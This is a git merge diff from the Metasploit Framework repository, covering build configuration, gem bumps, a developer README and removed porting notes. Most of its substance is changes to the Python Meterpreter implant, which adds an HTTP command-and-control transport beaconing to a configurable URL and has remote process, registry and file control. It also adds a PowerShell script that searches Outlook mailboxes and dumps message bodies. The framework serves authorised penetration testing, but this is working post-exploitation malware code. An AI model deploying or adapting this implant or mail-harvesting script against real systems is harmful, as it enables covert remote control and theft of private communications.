Merge remote-tracking branch 'upstream/master' into add_cisco_ssl_vpn_priv_esc

bug/bundler_fix
Jonathan Claudius 2014-12-09 20:55:01 -05:00
commit e89a399f95
125 changed files with 4660 additions and 4843 deletions

4
.gitignore vendored
View File

@ -83,3 +83,7 @@ data/meterpreter/screenshot.*.dll
# private source. If you're interested in this functionality,
# check out Metasploit Pro: http://metasploit.com/download
data/meterpreter/ext_server_pivot.*.dll
# Avoid checking in metakitty, the source for
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
/metakitty

View File

@ -1,6 +1,7 @@
env:
- RAKE_TASK=cucumber
- RAKE_TASK=cucumber:boot
# Commenting out the boot tests due to chronic timeouts.
# - RAKE_TASK=cucumber:boot
- RAKE_TASK=spec SPEC_OPTS="--tag content"
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
@ -35,3 +36,9 @@ notifications:
git:
depth: 5
# Blacklist certain branches from triggering travis builds
branches:
except:
- gh-pages
- metakitty

View File

@ -22,7 +22,7 @@ PATH
tzinfo
metasploit-framework-db (4.10.1.pre.dev)
activerecord (< 4.0.0)
metasploit-credential (~> 0.13.3)
metasploit-credential (~> 0.13.6)
metasploit-framework (= 4.10.1.pre.dev)
metasploit_data_models (~> 0.21.1)
pg (>= 0.11)
@ -62,7 +62,7 @@ GEM
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
arel-helpers (2.0.1)
arel-helpers (2.0.2)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
childprocess (>= 0.3.6)
@ -112,7 +112,7 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.3)
metasploit-credential (0.13.6)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
@ -139,7 +139,7 @@ GEM
msgpack (0.5.9)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.6.4.1)
nokogiri (1.6.5)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
@ -171,11 +171,11 @@ GEM
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.3.2)
rake (10.4.2)
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.5)
recog (1.0.6)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
@ -501,6 +505,8 @@ IFLA_MTU = 4
IFA_ADDRESS = 1
IFA_LABEL = 3
meterpreter.register_extension('stdapi')
def calculate_32bit_netmask(bits):
if bits == 32:
return 0xffffffff
@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
@meterpreter.register_function
def stdapi_sys_config_getenv(request, response):
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
pgroup = ''
env_var = env_var['value'].translate(None, '%$')
pgroup = bytes()
env_var = env_var['value']
env_var = env_var.replace('%', '')
env_var = env_var.replace('$', '')
env_val = os.environ.get(env_var)
if env_val:
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
@ -682,23 +690,25 @@ def stdapi_sys_config_getenv(request, response):
def stdapi_sys_config_getsid(request, response):
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return ERROR_FAILURE, response
return error_result_windows(), response
sid_str = ctypes.c_char_p()
if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)):
return ERROR_FAILURE, response
return error_result_windows(), response
sid_str = str(ctypes.string_at(sid_str))
response += tlv_pack(TLV_TYPE_SID, sid_str)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_config_getuid(request, response):
if has_windll:
if has_pwd:
username = pwd.getpwuid(os.getuid()).pw_name
elif has_windll:
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
if not token:
return ERROR_FAILURE, response
return error_result_windows(), response
username = get_username_from_token(token)
if not username:
return ERROR_FAILURE, response
return error_result_windows(), response
else:
username = getpass.getuser()
response += tlv_pack(TLV_TYPE_USER_NAME, username)
@ -786,9 +796,9 @@ def stdapi_sys_process_kill(request, response):
k32 = ctypes.windll.kernel32
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
if not proc_h:
return ERROR_FAILURE, response
return error_result_windows(), response
if not k32.TerminateProcess(proc_h, 0):
return ERROR_FAILURE, response
return error_result_windows(), response
elif hasattr(os, 'kill'):
os.kill(pid, 9)
else:
@ -855,7 +865,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
if not result:
return ERROR_FAILURE, response
return error_result_windows(), response
while result:
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
if not proc_h:
@ -935,7 +945,6 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if os.path.exists(file_path):
os.unlink(file_path)
return ERROR_SUCCESS, response
@ -1338,10 +1347,10 @@ def stdapi_registry_create_key(request, response):
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_delete_key(request, response):
@ -1432,21 +1441,20 @@ def stdapi_registry_open_key(request, response):
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_open_remote_key(request, response):
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
result_key = ctypes.c_void_p()
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
if (result == ERROR_SUCCESS):
if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_class(request, response):
@ -1454,11 +1462,10 @@ def stdapi_registry_query_class(request, response):
value_data = (ctypes.c_char * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
if result == ERROR_SUCCESS:
if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
@ -1486,7 +1493,7 @@ def stdapi_registry_query_value(request, response):
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):

View File

@ -18,19 +18,51 @@ except ImportError:
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
#
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
@ -40,6 +72,8 @@ PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
@ -124,6 +158,50 @@ def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def error_result(exception=None):
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
@ -284,16 +362,48 @@ class STDProcess(subprocess.Popen):
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket):
def __init__(self, socket=None):
self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
@ -318,19 +428,73 @@ class PythonMeterpreter(object):
self.processes[idx] = process
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(4096)
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
req_length, req_type = struct.unpack('>II', request)
req_length -= 8
request = bytes()
while len(request) < req_length:
request += self.socket.recv(4096)
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
self.socket.send(response)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
@ -370,7 +534,7 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@ -379,7 +543,7 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
@ -390,20 +554,24 @@ class PythonMeterpreter(object):
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
self.send_packet(pkt)
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = list(self.extension_functions.keys())
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = list(self.extension_functions.keys())
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
for method in new_methods:
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
@ -416,7 +584,7 @@ class PythonMeterpreter(object):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return ERROR_FAILURE, response
return error_result(NotImplementedError), response
handler = self.extension_functions[handler]
return handler(request, response)
@ -524,18 +692,16 @@ class PythonMeterpreter(object):
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
if DEBUGGING:
print('[*] running method ' + handler_name)
self.debug_print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
print('[-] method ' + handler_name + ' resulted in an error')
traceback.print_exc(file=sys.stderr)
result = ERROR_FAILURE
result = error_result()
else:
if DEBUGGING:
print('[-] method ' + handler_name + ' was requested but does not exist')
result = ERROR_FAILURE
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
@ -546,5 +712,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
else:
met = PythonMeterpreter(s)
met.run()

View File

@ -0,0 +1,47 @@
function GetSubfolders($root) {
$folders = @()
$folders += $root
foreach ($folder in $root.Folders) {
$folders += GetSubfolders($folder)
}
return $folders
}
function List-Folder {
Clear-host
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNameSpace("MAPI")
$account = $NameSpace.Folders
$folders = @()
foreach ($acc in $account) {
foreach ($folder in $acc.Folders) {
$folders += GetSubfolders($folder)
}
}
$folders | FT FolderPath
}
function Get-Emails {
param ([String]$searchTerm,[String]$Folder)
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNameSpace("MAPI")
$account = $NameSpace.Folders
$found = $false
foreach ($acc in $account) {
try {
$Email = $acc.Folders.Item($Folder).Items
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
if($result) {
$found = $true
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
}
} catch {
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
}
}
if(-Not $found) {
Write-Host "Searchterm" $searchTerm "not found"
}
}

34
documentation/README.md Normal file
View File

@ -0,0 +1,34 @@
# Metasploit Developer Documentation
*(last updated December 1, 2014)
Metasploit is actively supported by a community of hundreds of
contributors and thousands of users world-wide. As a result, the
accompanying documentation moves quite quickly.
The best source of documentation on Metasploit development is
https://github.com/rapid7/metasploit-framework/wiki. There are many
treasures there, such as:
* [Evading Antivirus](https://github.com/rapid7/metasploit-framework/wiki/Evading-Anti-Virus)
* [How Payloads Work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)
* [How to use Datastore Options](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options)
* [How to write browser exploits with BES](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)
* [How to write a bruteforcer](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Msf%3A%3AAuxiliary%3A%3AAuthBrute-to-write-a-bruteforcer)
...and many, many more.
## API Documentation
If you are looking for API documentation, you may run `rake yard` to
generate a navigatable view of the comment documentation used throughout
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
for a recently generated online version.
## Contributing
If you would like to contribute to the documentation effort, please see
http://yardoc.org/ for details on how to write YARD-compatible comments,
and send us a [Pull Request](https://github.com/rapid7/metasploit-framework/pulls)
with your contribution.

View File

@ -1 +0,0 @@
rake yard

View File

@ -1,5 +0,0 @@
This directory contains 2.7 -> 3.0 compatibility information.
Exploit Modules: exploits.txt
Payload Modules: payloads.txt

View File

@ -1,161 +0,0 @@
Unfinished modules
==================
arkeia_agent_access
gnu_mailutils_imap4d
hpux_ftpd_preauth_list
iis_source_dumper
phpnuke_search_module
realvnc_41_bypass
solaris_snmpxdmid
sygate_policy_manager
uow_imap4_copy
uow_imap4_lsub - partially (linux/imap/imap_uw_lsub.rb)
wzdftpd_sitem
Completed modules
=================
afp_loginext exploit/osx/afp/loginext
aim_goaway exploit/windows/browser/aim_goaway
altn_webadmin exploit/windows/http/altn_webadmin
apache_chunked_win32 exploit/windows/http/apache_chunked
arkeia_type77_macos exploit/osx/arkeia/type77
arkeia_type77_win32 exploit/windows/arkeia/type77
awstats_configdir_exec exploit/unix/webapp/awstats_configdir_exec
barracuda_img_exec exploit/unix/webapp/barracuda_img_exec
backupexec_agent exploit/windows/backupexec/remote_agent
backupexec_dump auxiliary/admin/backupexec/dump
backupexec_ns exploit/windows/backupexec/name_service
backupexec_registry auxiliary/admin/backupexec/registry
badblue_ext_overflow exploit/windows/http/badblue_ext_overflow
bakbone_netvault_heap exploit/windows/misc/bakbone_netvault_heap
blackice_pam_icq exploit/windows/firewall/blackice_pam_icq
bluecoat_winproxy exploit/windows/proxy/bluecoat_winproxy_host
bomberclone_overflow_win32 exploit/windows/misc/bomberclone_overflow
cabrightstor_disco exploit/windows/brightstor/discovery_udp
cabrightstor_disco_servicepc exploit/windows/brightstor/discovery_tcp
cabrightstor_sqlagent exploit/windows/brightstor/sql_agent
cabrightstor_uniagent exploit/windows/brightstor/universal_agent
cacam_logsecurity_win32 exploit/windows/unicenter/cam_log_security
cacti_graphimage_exec exploit/unix/webapp/cacti_graphimage_exec
calicclnt_getconfig exploit/windows/license/calicclnt_getconfig
calicserv_getconfig exploit/windows/license/calicserv_getconfig
cesarftp_mkd exploit/windows/ftp/cesarftp_mkd
distcc_exec exploit/unix/misc/distcc_exec
edirectory_imonitor exploit/windows/http/edirectory_imonitor
edirectory_imonitor2 exploit/windows/http/edirectory_host
eiq_license exploit/windows/misc/eiqnetworks_esa
eudora_imap exploit/windows/imap/eudora_list
exchange2000_xexch50 exploit/windows/smtp/ms03_046_exchange2000_xexch50
firefox_queryinterface_linux exploit/multi/browser/firefox_queryinterface
firefox_queryinterface_osx exploit/multi/browser/firefox_queryinterface
freeftpd_user exploit/windows/ftp/freeftpd_user
freesshd_key_exchange exploit/windows/ssh/freesshd_key_exchange
freeftpd_key_exchange exploit/windows/ftp/freeftpd_key_exchange
futuresoft_tftpd exploit/windows/tftp/futuresoft_transfermode
globalscapeftp_user_input exploit/windows/ftp/globalscapeftp_input
google_proxystylesheet_exec exploit/unix/webapp/google_proxystylesheet_exec
hpux_lpd_exec exploit/hpux/lpd/cleanup_exec
ia_webmail exploit/windows/http/ia_webmail
icecast_header exploit/windows/http/icecast_header
ie_objecttype exploit/windows/browser/ms03_020_ie_objecttype
ie_vml_rectfill exploit/windows/browser/ms06_055_vml_method
ie_webview_setslice exploit/windows/browser/ms06_057_webview_setslice
ie_xp_pfv_metafile exploit/windows/browser/ms06_001_wmf_setabortproc
ie_createtextrange exploit/windows/browser/ms06_013_createtextrange
ie_iscomponentinstalled exploit/windows/browser/ie_iscomponentinstalled
ie_createobject exploit/windows/browser/ie_createobject
iis40_htr exploit/windows/iis/ms02_018_htr
iis50_printer_overflow exploit/windows/iis/ms01_023_printer
iis50_webdav_ntdll exploit/windows/iis/ms03_007_ntdll_webdav
iis_fp30reg_chunked exploit/windows/isapi/fp30reg_chunked
iis_nsiislog_post exploit/windows/isapi/nsiislog_post
iis_w3who_overflow exploit/windows/isapi/w3who_query
imail_imap_delete exploit/windows/imap/imail_delete
imail_ldap exploit/windows/ldap/imail_thc
irix_lpsched_exec exploit/irix/lpd/tagprinter_exec
kerio_auth exploit/windows/firewall/kerio_auth
lsass_ms04_011 exploit/windows/smb/ms04_011_lsass
mailenable_auth_header exploit/windows/http/mailenable_auth_header
mailenable_imap exploit/windows/imap/mailenable_status
mailenable_imap_w3c exploit/windows/imap/mailenable_w3c_select
maxdb_webdbm_get_overflow exploit/windows/http/maxdb_webdbm_get_overflow
mcafee_epolicy_source exploit/windows/http/mcafee_epolicy_source
mdaemon_imap_cram_md5 exploit/windows/imap/mdaemon_cram_md5
mercantec_softcart exploit/bsdi/softcart/mercantec_softcart
mercur_imap_select_overflow exploit/windows/imap/mercur_imap_select_overflow
mercury_imap exploit/windows/imap/mercury_rename
minishare_get_overflow exploit/windows/http/minishare_get_overflow
mozilla_compareto exploit/multi/browser/mozilla_compareto
ms05_030_nntp exploit/windows/nntp/ms05_030_nntp
ms05_039_pnp exploit/windows/smb/ms05_039_pnp
msasn1_ms04_007_killbill exploit/windows/smb/ms04_007_killbill
msmq_deleteobject_ms05_017 exploit/windows/dcerpc/ms05_017_msmq
msrpc_dcom_ms03_026 exploit/windows/dcerpc/ms03_026_dcom
mssql2000_preauthentication exploit/windows/mssql/ms02_056_hello
mssql2000_resolution exploit/windows/mssql/ms02_039_slammer
netapi_ms06_040 exploit/windows/smb/ms06_040_netapi
netterm_netftpd_user_overflow exploit/windows/ftp/netterm_netftpd_user
niprint_lpd exploit/windows/lpd/niprint
novell_messenger_acceptlang exploit/windows/http/novell_messenger_acceptlang
openview_connectednodes_exec exploit/unix/webapp/openview_connectednodes_exec
openview_omniback_exec exploit/unix/misc/openview_omniback_exec
oracle9i_xdb_ftp exploit/windows/ftp/oracle9i_xdb_ftp_unlock
oracle9i_xdb_ftp_pass exploit/windows/ftp/oracle9i_xdb_ftp_pass
oracle9i_xdb_http exploit/windows/http/oracle9i_xdb_pass
pajax_remote_exec exploit/unix/webapp/pajax_remote_exec
payload_handler exploit/multi/handler
peercast_url_linux exploit/linux/http/peercast_url
peercast_url_win32 exploit/windows/http/peercast_url
php_wordpress_lastpost exploit/unix/webapp/php_wordpress_lastpost
php_vbulletin_template exploit/unix/webapp/php_vbulletin_template
php_xmlrpc_eval exploit/unix/webapp/php_xmlrpc_eval
phpbb_highlight exploit/unix/webapp/phpbb_highlight
poptop_negative_read exploit/linux/pptp/poptop_negative_read
privatewire_gateway_win32 exploit/windows/http/privatewire_gateway
putty_ssh exploit/windows/ssh/putty_msg_debug
realserver_describe_linux exploit/multi/realserver/describe
realvnc_client exploit/windows/vnc/realvnc_client
rras_ms06_025 exploit/windows/smb/ms06_025_rras
rras_ms06_025_rasman exploit/windows/smb/ms06_025_rasmans_reg
rsa_iiswebagent_redirect exploit/windows/isapi/rsa_webagent_redirect
safari_safefiles_exec exploit/osx/browser/safari_metadata_archive
samba_nttrans exploit/multi/samba/nttrans
samba_trans2open_osx exploit/osx/samba/trans2open
samba_trans2open_solsparc exploit/solaris/samba/trans2open
sambar6_search_results exploit/windows/http/sambar6_search_results
smb_sniffer auxiliary/server/capture/smb
seattlelab_mail_55 exploit/windows/pop3/seattelab_pass
securecrt_ssh1 exploit/windows/ssh/securecrt_ssh1
sentinel_lm7_overflow exploit/windows/license/sentinel_lm7_udp
servu_mdtm_overflow exploit/windows/ftp/servu_mdtm
shixxnote_font exploit/windows/misc/shixxnote_font
shoutcast_format_win32 exploit/windows/http/shoutcast_format
slimftpd_list_concat exploit/windows/ftp/slimftpd_list_concat
solaris_dtspcd_noir exploit/solaris/dtspcd/heap_noir
solaris_lpd_exec exploit/solaris/lpd/sendmail_exec
solaris_lpd_unlink auxiliary/dos/solaris/lpd/cascade_delete
solaris_sadmind_exec exploit/solaris/sunrpc/solaris_sadmind_exec
solaris_ttyprompt exploit/solaris/telnet/ttyprompt
sphpblog_file_upload exploit/unix/webapp/sphpblog_file_upload
squid_ntlm_authenticate exploit/linux/proxy/squid_ntlm_authenticate
svnserve_date exploit/multi/svn/svnserve_date
sybase_easerver exploit/windows/http/sybase_easerver
tftpd32_long_filename exploit/windows/tftp/tftpd32_long_filename
trackercam_phparg_overflow exploit/windows/http/trackercam_phparg_overflow
ultravnc_client exploit/windows/vnc/ultravnc_client
ut2004_secure_linux exploit/linux/games/ut2004_secure
ut2004_secure_win32 exploit/windows/games/ut2004_secure
warftpd_165_user exploit/windows/ftp/warftpd_165_user
warftpd_165_pass exploit/windows/ftp/warftpd_165_pass
webstar_ftp_user exploit/osx/ftp/webstar_ftp_user
winamp_playlist_unc exploit/windows/browser/winamp_playlist_unc
windows_ssl_pct exploit/windows/ssl/ms04_011_pct
wins_ms04_045 exploit/windows/wins/ms04_045_wins
wmailserver_smtp exploit/windows/smtp/wmailserver
wsftp_server_503_mkd exploit/windows/ftp/wsftp_server_503_mkd
